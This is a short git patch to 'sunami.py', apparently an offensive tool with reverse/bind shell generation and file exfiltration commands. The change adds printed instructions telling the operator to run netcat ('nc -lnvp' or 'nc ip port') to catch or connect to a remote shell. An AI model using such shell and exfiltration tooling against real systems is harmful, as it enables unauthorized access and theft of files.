From 2c0c1cd9556231c11159e5eefce061a84b391d74 Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Sun, 6 Aug 2023 16:31:32 +0100 Subject: [PATCH] Update sunami.py --- sunami.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sunami.py b/sunami.py index 61c689a..58787dc 100644 --- a/sunami.py +++ b/sunami.py @@ -57,8 +57,10 @@ if args.command == "genshell": conn.send(cmd.encode("utf-8")) time.sleep(1) sys.stdout.write("\033[A" + data.split("\n")[-1]) - else: + elif args.shell == "rev": print(f"on your machine run the following:\n\tnc -lnvp {args.port}") + else: + print(f"on your machine run the following:\n\tnc {args.ip} {args.port}") if args.command == "exfilfile": if args.method == "postflask":